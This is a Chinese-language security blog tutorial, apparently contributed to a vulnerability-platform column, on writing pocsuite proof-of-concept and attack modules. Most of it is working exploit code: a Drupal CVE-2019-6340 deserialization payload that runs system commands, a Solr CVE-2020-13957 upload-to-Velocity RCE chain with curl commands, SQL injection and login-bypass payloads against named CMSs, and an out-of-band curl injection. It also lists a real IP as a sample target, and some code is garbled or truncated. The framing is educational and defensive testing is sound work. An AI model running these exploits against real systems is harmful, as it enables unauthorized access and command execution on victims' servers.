小暑|宜学习编写POC,忌风险排查乱无章

小暑,是农历二十四节气之第十一个节气,夏天的第五个节气,表示季夏时节的正式开始。倏忽温风至,因循小暑来。洋湖有清风,可以消烦暑。摇蒲扇,斗蟋蟀,城市的浮热,在原上的浓阴下散去。


今天,我们观星贴迎来的是数字观星POC++平台、Finger-P指纹平台用户,网名:nikename 所创作的文章《pocsuite编写记录(小白学写POC)》,平台由衷感谢用户供稿,欢迎用户联系微信:18028582783 供稿,一经采用将有丰厚礼品。


前言


2020-12-9数字观星POC++相关工作人员组织的直播,忘记是哪个大佬说的一句话,我觉得针不戳,我个人理解是:


关于POC编写,第一步需要去了解这个漏洞的信息,例如漏洞位置,payload等等信息,第二步则是复现环节了,复现需要搭建环境,以及利用payload去进行攻击复现,第三步则是到了编写poc了,类似一个总结环节,需要思考payload,位置,需要的参数以及是否需要登陆,如何更加精准的进行判断是否存在漏洞等等多种因素。


如何获取漏洞信息及漏洞环境


漏洞信息:

CNVD
CVE
NVD
Exploit Database 
cxsecurity.com
零组,白阁,狼组等文库
各种大佬的公众号、博客,技术网站等等

漏洞环境:

 vulhub

 Github

 CMS类的官网

 Exploit Database也有一些环境可以直接下载

大佬们的分析复现文章,有些会带着环境下载地址,有些大佬比较照顾萌新的会带着环境搭建步骤 

 baidu、google


例如在找一些CMS进行编写POC的时候,可以去CNVD进行查看最近有什么CMS被爆出什么漏洞,有一些的漏洞详情比较详细一点,比如说某某CMS s****h.php存在SQL注入什么,我们就可以直接百度这个CMS,寻找这个CMS的版本进行下载之后自己搭一个环境进行寻找并复现。

例如这个WeiPHP的SQL注入漏洞,这里CNVD中给出了三个对我们有用的信息,版本,存在漏洞的函数,CVE的参考链接。

 

通过nvd的参考链接,发现github上有一个Y4er师傅的链接,并且发现链接中有Y4er师傅直接给出的payload以及对这个漏洞的分析过程。

还有就是cxsecurity.com链接,里面也有很多是直接包含payload的漏洞信息


如何编写pocsuite


目前pocsuite有两个版本2以及3,一个是Python2的版本,一个是Python3的版本,pocsuite有着详细的文档,但还是有一些需要参考其他链接:

POC++平台-帮助中心-POC编写指南(有代码示例):

https://poc.shuziguanxing.com/#/news#19-500000/19-500000/2-500000

观星公众号指导:

https://mp.weixin.qq.com/s/39rfMIlBlqnNzz2FGkwafg

pocsuite帮助文档:

https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md

建议可以大致的看一下这个框架的代码,可以大致了解框架中含有的功能,因为有一些可能在帮助文档中,没有做说明pocsuite的poc大致编写步骤:

  • 先在pocsuite3.api中导入模块所需的模块,有一些是必须导入的模块

  • 创建一个类,类名自己命名,需要继承POCBase这个父类

  • 接下来就是填写一些变量里边的信息

                 是否有seebug的漏洞编号 

                 是否有cve的漏洞编号
                 版本
                 poc作者
                 漏洞发现时间
                 poc编写/更新时间
                 参考链接
                 poc名字
                 应用名字/版本
                 漏洞详情
                 修复建议
                 案例
                 是否需要安装其他的第三方库
  • 接下来就是设置verify检测函数,attack攻击函数,结果输出函数等,这三个基本函数(没编写exp也可以写着,直接return self._verify())

  • 写poc的话,主要是写verify函数,里面可以使用requests库进行发起请求等等

  • parse_output函数,这里是接收verify函数return回来的结果,然后判断这个传来的结果是否为空,是否有结果,有结果就输出,没有就输出无返回即可

  • 最后即是在自己编写的poc类外部调用register_poc/register注册poc类

这个是我个人在Pycharm上对编写pocsuite的个人模板。

#!/usr/bin/env  python# -*- coding :  utf-8 -*-# @Author  :  xxx# @Time  :  ${DATE} ${TIME}# @File  :  ${NAME}.py# @Project  :  ${PROJECT_NAME}
from pocsuite.api.request import req
from pocsuite.api.poc import registerfrom pocsuite.api.poc import Output, POCBase
class NcPOC(POCBase): vulID = '' cveID = '' version = '' author = ['xxx'] vulDate = '' createDate = '${DATE}' updateDate = '${DATE}' references = [ 'xxx' ] name = 'xxx' appPowerLink = ''  appName = 'xxx' appVersion = '' desc = ''' xxx ''' solution = ''' xxx ''' samples = [''] install_requires = ['']
#编写POC的_verify函数,里面编写进行判断漏洞是否存在的过程 def _verify(self): result = {}
#返回判断结果,如果判断为不存在漏洞,把result变量设置为False,None,{}即可 return self.parse_output(result)
  def _attack(self): #exp 模块,如果没有编写exp,那么就直接return self._verify()即可 return self._verify()
  def parse_output(self, result):    # parse output output   def parse_output(self, result): # parse output output output = Output(self) if result: #自己在pocsuite3文件夹里面创建了一个result文件夹,用于存放每个POC扫描后的输出结果     with open('./result/${NAME}.txt', 'a') as f:     f.write(result['VerifyInfo']['URL']+"\n")     output.success(result)    else:     output.fail('Internet nothing returned')     return outputregister(NcPOC)


实例


编写CVE-2019-6340漏洞POC,这是一个drupal的远程代码执行漏洞,至于一些漏洞信息就不在这里多述,先来看一下这个漏洞的payload:

POST /node/?_format=hal_json HTTP/1.1Host: exampleUser-Agent:  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0Connection:  keep-aliveContent-Type: application/hal+jsonAccept:  */*Cache-Control: no-cacheContent-Length: 643
{ "link": [ { "value""link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3: {s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:6:\"whoami\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:  {i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://example/rest/type/shortcut/default" } }}

在编写一些代码执行,命令执行,可回显SQL注入等漏洞的poc中,我们直接执行whoami命令并通过whoami命令进行判断是否存在漏洞在批量中是不准确的,因为whoami命令输出结果不是一个唯一的值所以我常用的是使用echo输出一个特定的字符串,例如某个单词的base64编码或者md5加密,然后判断这个字符串是否在响应包中存在我个人在编写poc时的大致步骤:

  • 搭建环境进行复现

  • 复现时编写漏洞信息

  • 复现时多发几个包,记录下成功时的响应包,以及失败的响应包

  • 将成功以及失败的输出放到Burp的Comparer模块分析两者响应的差异(查看返回的数据,headers头等信息)

  • 将差异记录下来,这里的记录将影响到poc判断漏洞是否存在漏洞的精准度(判断两者之间的差异以及存在漏洞的响应包中是否含有多个不存在漏洞的数据包中不存在的值,并且是唯一,固定的值)

  • 在一个测试文件中编写poc核心代码,并进行测试

  • 最后将代码写入pocsuite里边,并运行测试

这里分享一个插件很好用的Burp插件:

https://github.com/silentsignal/burp-requests

这个burp-requests的插件功能是直接把Burp里面的数据包转换成python requests库的代码,并且headers头等信息也会带上。

点击Copy as requests之后就可以复制到编辑器中进行测试了

实例一:

下面是CVE-2019-6340 pocsuite2中编写的POC

 #!/usr/bin/env  python# -*- coding :  utf-8 -*-# @Author  :  xxx# @Time  :  2020-12-12 13:41# @File  :  drupal_cve-2019-6340_rce.py# @Project  :  pocsuite3
from pocsuite.api.request import reqfrom pocsuite.api.poc import registerfrom pocsuite.api.poc import Output, POCBaseimport re
class NcPOC(POCBase): vulID = '' cveID = 'CVE-2019-6340' version = '' author = ['xxx'] vulDate = '2019-02-20' createDate = '2020-12-12' updateDate = '2020-12-12' references = [ 'https://www.drupal.org/sa-core-2019-003'    ]    name = 'Drupal Core RESTful RCE' appPowerLink = '' appName = 'Drupal' appVersion = '8.6.x < 8.6.10,' \                 '8.5.x < 8.5.11' desc = ''' 漏洞是由Drupal 未对 RESTful Web 的数据进行严格效验造成。 如果网站开启了RESTful Web服务,并且接受PATCH 、 POST请求,或站点中开启了其他web服务模块,将会出现反序列化问题,进而造成代码执行。 ''' solution = ''' 对于该漏洞,可以禁用所有Web服务模块,或禁止处理PUT / PATCH / POST请求进行缓解。 因为影响核心组件,强烈建议广大用户按需进行版本升级,更新地址: https://www.drupal.org/project/drupal/releases/8.6.10 https://www.drupal.org/project/drupal/releases/8.6.10 https://www.drupal.org/security/contrib ''' samples = [''] install_requires = ['']
    def _verify(self): result = {} if self.url[-1] == '/': self.url = self.url[:-1] #这里的href是不固定的,需要按照测试的URL变化,所以使用format进行拼接,把当前的url拼接进去 payload = {"_links": {"type": {"href": "{}/rest/type/shortcut/default".format(self.url)}}, "link": [{"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2: {s:33:\"\x00GuzzleHttp\\Psr7\\FnStream\x00methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\x00GuzzleHttp\\HandlerStack\x00handler\";s:37:\"echo 1771b8284280660537e3e533f88af3b2\";s:30:\"\x00GuzzleHttp\\HandlerStack\x00stack\";a:1:{i:0;a:1: {i:0;s:6:\"system\";}}s:31:\"\x00GuzzleHttp\\HandlerStack\x00cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}", "value": "link"}]} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", "Connection": "keep-alive", "Content-Type": "application/hal+json", "Accept": "*/*", "Cache-Control": "no-cache" } vuln_url = "{}{}".format(self.url, "/node/?_format=hal_json") try: print(vuln_url) send_poc = req.post(url=vuln_url, json=payload, headers=headers, verify=False) #通过响应包状态是否为403状态以及响应包中是否存在996的md5值进行判断是否存在漏洞并且执行命令 if send_poc.status_code == 403 and '1771b8284280660537e3e533f88af3b2' in send_poc.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url return self.parse_output(result) except:           pass
    def _attack(self): return self._verify()
def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output
register(NcPOC)

对于这种rce的漏洞,是可以编写attack模块的

这里我是直接使用whoami,然后进行re匹配之后返回结果,如果有朋友想对attack模块做指定命令执行的,可以再写一个_options函数进行接收命令之后进行输出

def _attack(self):    result = {}    if self.url[-1] == '/':        self.url = self.url[:-1]    payload = {"_links": {"type": {"href": "{}/rest/type/shortcut/default".format(self.url)}}, "link": [{"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2: {s:33:\"\x00GuzzleHttp\\Psr7\\FnStream\x00methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3: {s:32:\"\x00GuzzleHttp\\HandlerStack\x00handler\";s:6:\"whoami\";s:30:\"\x00GuzzleHttp\\HandlerStack\x00stack\";a:1:{i:0;a:1: {i:0;s:6:\"system\";}}s:31:\"\x00GuzzleHttp\\HandlerStack\x00cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}", "value": "link"}]}    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",        "Connection": "keep-alive",        "Content-Type": "application/hal+json",        "Accept": "*/*",        "Cache-Control": "no-cache"    }    vuln_url = "{}{}".format(self.url, "/node/?_format=hal_json")    try:        send_payload = req.post(url=vuln_url, json=payload, headers=headers, verify=False).text        system_name = re.search('}.*', send_payload).group()[1:]        result['SystemInfo'] = {}        result['SystemInfo']['URL'] = self.url        result['SystemInfo']['NAME'] = system_name    except:        pass    return self.parse_output(result)

实例二:

solr未授权上传漏洞(CVE-2020-13957)

复现漏洞:

搭建好环境之后,进入

/solr-7.0.1//server/solr/configsets/sample_techproducts_configs/conf目录。

修改solrconfig.xml文件

原配置文件:

<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">    <str name="template.base.dir">${velocity.template.base.dir:}</str></queryResponseWriter>

修改为:

<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">    <str name="template.base.dir">${velocity.template.base.dir:}</str>    <str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str>    <str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str></queryResponseWriter

保存后使用zip文件对这个目录下的所有文件进行打包

zip -r - * > 2020-13957.zip

ConfigSet API接口存在未授权上传

使用curl对这个接口进行上传恶意配置文件,也就是上传刚刚打包好的文件

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @2020-13957.zip "http://example:8983/solr/admin/configs?action=UPLOAD&name=nctest"

查看solr上所有的configset,查看是否有生产nctest的configset来判断是否上传成功

curl "http://example:8983/api/cluster/configs?omitHeader=true"

根据新上传的configset创建恶意collection

curl "http://example:8983/solr/admin/collections?action=CREATE&name=rcetest&numShards=1&replicationFactor=1&wt=xml&collection.configName=nctest"

利用已经上传的collection进行远程命令执行

http://example:8983/solr/rcetest/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27)) [1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

到这里就已经成功复现了这个未授权上传漏洞了

接下来就进行编写poc了

1、这个漏洞需要solr开启了cloud,所以第一步我们可以先进行判断是否开启了cloud来进行筛选

cloud的链接为/solr/#/~cloud

但是当没有开启cloud的时候访问这个链接,返回的状态码也是200,所以这个链接无法进行判断,再次通过抓包判断

发现在这个链接下是可以进行判断是否开启了cloud的

/solr/admin/zookeeper?_=&detail=true&path=%2Fclusterstate.json&view=graph&wt=json

开启了cloud时候的响应包

没有开启cloud的时候是返回500的状态码

2、对API接口进行上传文件,这个只需要判断是否上传后响应状态码是否为200即可

3、查看系统中所有的configset,判断我们之前上传的configset name是否存在,如果存在就可以判断漏洞存在

通过三个条件我们可以判断出是否存在漏洞,那么接下来可以进行编写poc了

#!/usr/bin/env python# -*- coding : utf-8 -*-
from pocsuite.api.request import reqfrom pocsuite.api.poc import registerfrom pocsuite.api.poc import Output, POCBaseimport random
class NcPOC(POCBase): vulID = '' cveID = 'CVE-2020-13957' version = '' author = ['Nickname'] vulDate = '' createDate = '2020-12-24' updateDate = '2020-12-24' references = [ 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13957', 'https://nvd.nist.gov/vuln/detail/CVE-2020-13957' ] name = 'solr未授权上传' appPowerLink = '' appName = 'Apache-solr' appVersion = '6.6.0 -6.6.5\n7.0.0 -7.7.3\n8.0.0 -8.6.2' desc = ''' solr以cloud模式启动, 并且ConfigSet API接口存在未授权上传。 ''' solution = '''        升级版本,关注官网补丁    ''' samples = ['http://124.71.181.39:8983'] install_requires = ['']
def _verify(self): result = {} string = 'abcdefghijklmnopqrstuvwxyz0123456789' random_str = random.sample(string, 6) configset_name = ''.join(random_str)
        if self.url[-1] == '/': self.url = self.url[:-1]
        open_cloud_url = '{}/solr/admin/zookeeper?_=&detail=true&path=%2Fclusterstate.json&view=graph&wt=json'.format(self.url) unauthorized_upfile_api_url = "{}/solr/admin/configs?action=UPLOAD&name={}".format(self.url, configset_name) succeed_upfile_url = '{}/api/cluster/configs?omitHeader=true'.format(self.url)
        headers = { "Accept": "application/json, text/plain, */*", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",            "Referer""{}/solr/".format(self.url), "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close" } upfile_data = b'test' files = { 'file': ('test.zip', upfile_data, 'application/octet-stream') } ''' 1、先访问判断是否开启了cloud服务的url,无则退出-反之进入未授权上传 2、未授权上传无需上传含有恶意配置的文件,只需要随便输入一些字符即可,上传判断状态码是否为200,无则退出-反之进入最后一步判断 3、访问查看全部configset的链接,查看新创建的configset是否存在 ''' try: open_cloud = req.get(url=open_cloud_url, headers=headers, verify=False) if open_cloud.status_code == 200 and 'clusterstate.json' in open_cloud.text: unauthorized_upfile = req.post(url=unauthorized_upfile_api_url, headers=headers, files=files, verify=False) if unauthorized_upfile.status_code == 200: succeed_upfile = req.get(url=succeed_upfile_url, headers=headers, verify=False) if succeed_upfile.status_code == 200 and '{}'.format(configset_name) in succeed_upfile.text: result['VerifyInfo'] = {}                        result['VerifyInfo']['URL'] = self.url return self.parse_output(result) except: pass        return False
    def _attack(self): return self._verify()
    def parse_output(self, result): output = Output(self)         if result: output.success(result) else: output.fail('Internet nothing returned') return output
 register(NcPOC)

4、attack模块写法

对这个漏洞利用需要上传恶意的配置文件

对于这个上传的文件有两个方法进行上传

 

  • 把zip包放到同个目录下,在使用脚本的时候就用with open进行调用

  •       直接把这个zip包以二进制的格式直接写到脚本里面

我是用的第二种方法,因为觉得这样子会方便一点,不过由于文件太大,在这里的attack脚本就没有把这个内容显示出来(upfile_data变量)

def _attack(self):    result = {}    string = 'abcdefghijklmnopqrstuvwxyz0123456789'    random_str1 = random.sample(string, 6)    configset_name = ''.join(random_str1)    random_str2 = random.sample(string, 6)    collection_name = ''.join(random_str2)
    if self.url[-1] == '/': self.url = self.url[:-1]
    unauthorized_upfile_api_url = "{}/solr/admin/configs?action=UPLOAD&name={}".format(self.url, configset_name) create_collection_url = "{}/solr/admin/collections?action=CREATE&name={}&numShards=1&replicationFactor=1&wt=xml&collection.configName={}".format(self.url, collection_name, configset_name) succeed_rce_url = "{}/solr/{}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end".format(self.url, collection_name)
headers = { "Cache-Control""max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Referer": "{}/solr/".format(self.url), "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close" } upfile_data = b'xxx' files = { 'file': ('test.zip', upfile_data, 'application/octet-stream') } try: send_upfile = req.post(url=unauthorized_upfile_api_url, headers=headers, files=files, verify=False) if send_upfile.status_code == 200: req.get(url=create_collection_url, headers=headers, verify=False, timeout=8) rce = req.get(url=succeed_rce_url, headers=headers, verify=False) try: rce_data = rce.text[2:].lstrip() except UnicodeEncodeError: rce_data = rce.content result['RceInfo'] = {} result['RceInfo']['url'] = self.url result['RceInfo']['configset'] = configset_name result['RceInfo']['collection'] = collection_name result['RceInfo']['command'] = rce_data return self.parse_output(result) except:        pass return False


常见WEB漏洞的poc



1、SQL注入

1.1、回显/报错注入的判断方式

回显以及报错的注入都是比较好进行判断的,因为是有数据回显的,我们可以使用md5(xxx),char(111)等方式回显一些比较长的特殊字符通过回显的较长的随机字符是否存在页面以及发送这个payload之后的相响应包状态码等情况来进行判断是否存在漏洞

例如下面这个weiphp5.0的SQL注入,是一个报错注入,直接使用md5的方式把996的md5值进行输出,我们就可以通过这个响应包的状态码以及判断这一串996的md5值是否存在页面中来判断是否存在漏洞了

核心判断代码:

def _verify(self):    result = {}    if self.url[-1] == '/':        self.url= self.url[:-1]    payload = '/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x2e,md5(996),0x7e),1)%20--%20+'     headers = {        "Cache-Control": "max-age=0",        "Upgrade-Insecure-Requests": "1",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",        "Accept-Encoding": "gzip, deflate",        "Accept-Language": "zh-CN,zh;q=0.9",        "Connection": "close"    }    vuln_url = "{}{}".format(self.url, payload)    try:        send_payload = requests.get(url=vuln_url, headers=headers, verify=False)        if send_payload.status_code == 500 and "XPATH syntax error: '0b8aff0438617c055eb55f0ba5d226fa'" in send_payload.text:            result['VerifyInfo'] = {}            result['VerifyInfo']['URL'] = self.url            result['VerifyInfo']['Payload'] = payload            return self.parse_output(result)    except:        pass    return False

1.2、时间注入

编写时间注入需要注意的一点:

  • 不可以只发一个包来进行判断是否存在时间型的注入

如果网站本身就存在响应较慢,或者一些其他因素(不包括网速等客观因素)导致的响应较慢,这样子只发一个包的话,那么误报率是肯定很高的所以我们可以发两个包,通过两个包(一个为不延时,一个为延时)的时间响应差异来进行对比判断

  • 在任务开始时,使用Python的time方法,获取当前的时间

  • 一先访问不延时的链接,在请求后再次获取请求一的结束时间,然后用请求一的结束时间减去任务开始时间就获取了一个正常访问网站时所需的时间了

  • 二访问一条带有延时的链接,在请求后再次获取这个请求二的结束时间,然后再使用请求二的结束时间减去一个正常访问网站所需的时间就可以进行判断出来了

例子(还是winphp5.0的注入,换种注入类型而已):

def _verify(self):    result = {}    if self.url[-1] == '/':        self.url= self.url[:-1]    sqlinj_payload_1 = "/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)+and+(select+123+from+(select+(if(4399=4399,null,sleep(5))))a)--+"    sqlinj_payload_2= "/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)+and+(select+123+from+(select+(if(4399=4366,null,sleep(5))))a)--+"    headers = {        "Cache-Control": "max-age=0",        "Upgrade-Insecure-Requests": "1",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",        "Accept-Encoding": "gzip, deflate",        "Accept-Language": "zh-CN,zh;q=0.9",        "Connection": "close"    }    vuln_url_1 = "{}{}".format(self.url, sqlinj_payload_1)    vuln_url_2 = "{}{}".format(self.url, sqlinj_payload_2)    try:        start_time = time.time()        send_payload_1 = requests.get(url=vuln_url_1, headers=headers, verify=False)        end_time_1 = time.time()        send_payload_2 = requests.get(url=vuln_url_2, headers=headers, verify=False)        end_time_2 = time.time()        #end1为if表达式为True执行null,没有时间延迟,通过用任务一的结束时间减去开始时间,获得一个正常请求时所需的时间        time_1 = end_time_1 - start_time        #end2为if表达式为False,执行了sleep(5),我们只需要计算这次sleep(5)所需的时间,减去一个正常请求时间,再进行判断既可以时间的差异,是否存在了延时 time_2 = end_time_2 - end_time_1
        if (time_2 - time_1) > 4: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url return self.parse_output(result)    except: pass return False

1.3、布尔注入

布尔盲注编写poc需要考虑的比较多,因为不可能仅仅只靠发两个包,一个and1=1,一个and 1=2后再对数据差异进行判断是否存在漏洞,这样子的误报率是高到飞起。对于布尔盲注,需要尽量观察细节。

这里布尔盲注的例子我选择了LFDYCMS3.8.6

漏洞分析:https://xz.aliyun.com/t/7844

payload:

/index.php/Home/News/index/?id[alias]=where id=1 and 1=1--+/index.php/Home/News/index/?id[alias]=where id=1 and 1=2--+

这里需要注意的是,判断为布尔盲注,那么肯定需要有一个内容差异对比,如果and 1=1和and 1=2返回的数据都一样,那么在编写poc的时候就无法判断是否存在漏洞

而这个LFDYCMS,这个布尔盲注的注入点是在一个文章id,但是如果没有这个id的文章呢?这个时候就很难判断了,因为这个cms的文章id是一直增加的,例如创建第一篇文章后,删除掉,再次创建时,id已经变成2了,不会因为删除了1,下一个id就为1了。

我自己对于这个布尔盲注的poc大致思路:

 

  • 先获取系统中,资讯文章的id和id对应文章标题

  • 然后取出一个id值,使用and 1=1的payload进行访问,再通过re正则获取使用这个id的文章标题

  • 将两个标题(一个是通过爬取所有资讯文章获取的标题,一个是通过获取的id使用and 1=1的payload进行访问获取的标题)通过比较是否一样,一样的就进入下一步

  • 再次使用同一个i使用and 1=2的payload进行访问,查看“未找到该文章!”字符串是否存在响应内容里面进行判断是否成功执行布尔盲注的payload

 

这个判断思路并不完善,很多细节需要注意的,例如资讯文章并不是固定链接或者其他的因素,就会导致第一步获取不到文章的id和标题判断布尔还可以通过数据包大小差异进行判断等等方法

布尔盲注需要注意的细节很多,这些细节主要和存在漏洞的环境,漏洞的payload,CMS的具体特点等等进行编写

def _verify(self):    result = {}    if self.url[-1] == '/':        self.url = self.url[:-1]    #先获取系统中,资讯的文章id以及文章标题    get_id_url = "{}{}".format(self.url, "/index.php?s=/lists/index/id/59.html")    headers = {        "Pragma": "no-cache",        "Cache-Control": "no-cache",        "Upgrade-Insecure-Requests": "1",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",        "Accept-Encoding": "gzip, deflate",        "Accept-Language": "zh-CN,zh;q=0.9",        "Connection": "close"    }    get_id = requests.get(url=get_id_url, headers=headers)    href_data = re.findall('<h3><a href=\\"(.*)" target="_blank">.*</a></h3>', get_id.text)    title = re.findall('<h3><a href=\\".*" target="_blank">(.*)</a></h3>', get_id.text)    number = re.findall(r'\d+', href_data[0])    payload_true = "{}/index.php/Home/News/index/?id[alias]=where%20id={}%20and%204399=4399--+".format(self.url, number[0])     payload_false = "{}/index.php/Home/News/index/?id[alias]=where%20id={}%20and%204399=4366--+".format(self.url, number[0])     try:        send_true = requests.get(url=payload_true, headers=headers, verify=False)        response_title_data = re.findall('<h3>(.*)</h3>', send_true.text)        if response_title_data[0] == title[0]:            send_false = requests.get(url=payload_false, headers=headers, verify=False)            if '未找到该文章!' in send_false.text:                result['VerifyInfo'] = {}                result['VerifyInfo']['URL'] = self.url                return self.parse_output(result)    except:        pass    return False

1.4、万能密码登陆

万能密码登陆的POC还是比较容易编写的,但也不是发送login数据包时加上万能语句之后判断返回是否200这样子我自己大致思路是:

  •  构造payload,headers等信息后

  •  使用requests.Session()方法进行维持登录

  •  访问需要登陆后的功能,判断是否成功访问

 

实例:

simple-college-website1.0

payload:username=admin' or 1=1#

POC如下:

def _verify(self):    result = {}    vuln_url = "{}/college/admin/ajax.php?action=login".format(self.url)    headers = {        "Accept": "*/*",        "X-Requested-With": "XMLHttpRequest",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",        "Origin": "http://192.168.0.100",        "Referer": "http://192.168.0.100/college/admin/login.php",        "Accept-Encoding": "gzip, deflate",        "Accept-Language": "zh-CN,zh;q=0.9",        "Connection": "close"    }    payload = {        "username": "admin' or 1=1#",        "password": "123"    }    authorization_url = "{}/college/admin/index.php?page=home".format(self.url)    session = requests.Session()    try:        send_payload = session.post(url=vuln_url, headers=headers, data=payload, verify=False)        if '1' in send_payload.text:            get_auth_url = session.get(url=authorization_url, headers=headers, verify=False)            if get_auth_url.status_code == 200:                result['VerifyInfo'] = {}                result['VerifyInfo']['URL'] = self.url                return self.parse_output(result)    except:        pass

2、无回显XXE

无回显XXE的案例我用的是Apache-SolrCVE-2017-12629 的XXE漏洞,这个XXE是无回显的,不过可以利用报错进行回显

这个漏洞需要先获取solr里面的core,返回的是json格式,我们就可以很轻松的把这个值获取,所以第一步需要获取core name/solr/admin/cores?_=&wt=json

在上面这条链接就可以获取系统中的所有core

接下来就是发送payload了,可以使用dnslog进行检测

pocsuite使用截图

这里主要是讲如何使用pocsuite里面的Ceye接口

  • 使用ceye需要自己的ceye账号密码以及token

pocsuite里面的ceye很简单就可以进行调用,接下来就说说大致步骤:

1、创建一个Ceye对象

ceye = CEye(username=xxx, password=xxx, token=xxx)

2、调用Ceye的build_request方法生成url和flag,ceye有两个请求方式,一个是request,一个是dns,需要注意的是这个build_request方法默认为request使用build_request方法时候,变量是一个字典,有两个键,分别为url和flag,url就是生成访问ceye的链接,flag就是使用build_request方法是生成的随机数 request url格式:例如随机生成的随机数是:R1Pb,那么request 格式的url就是http://R1Pb.xxx.ceye.io/R1Pbtarget_is_vulnR1Pbdns url格式:还是随机数:R1Pb,url ==R1Pbtarget_is_vulnR1Pb.xxx.ceye.io

request:ceye_request_keyword = ceye.build_request(value='target_is_vuln')
dns:ceye_request_keyword = ceye.build_request(value='target_is_vuln', type="request")

3、将变量ceye_request_keyword['url']加载到payload之后使用requests库发送payload

payload = "xx exec('curl {}') xxx".format(ceye_request_keyword['url'])requests.post(url=self.url, data=payload)

4、发送payload之后就到了请求ceye了,使用ceye的token请求这个随机数,来获取build_request生成的flag

如果存在漏洞,这个时候返回ceye_keyword的值会是target_is_vuln,通过判断返回的值是否为空或者是否等于target_is_vuln就可以知道是否存在漏洞

ceye_keyword = ceye.exact_request(ceye_request_keyword["flag"])

实例代码:

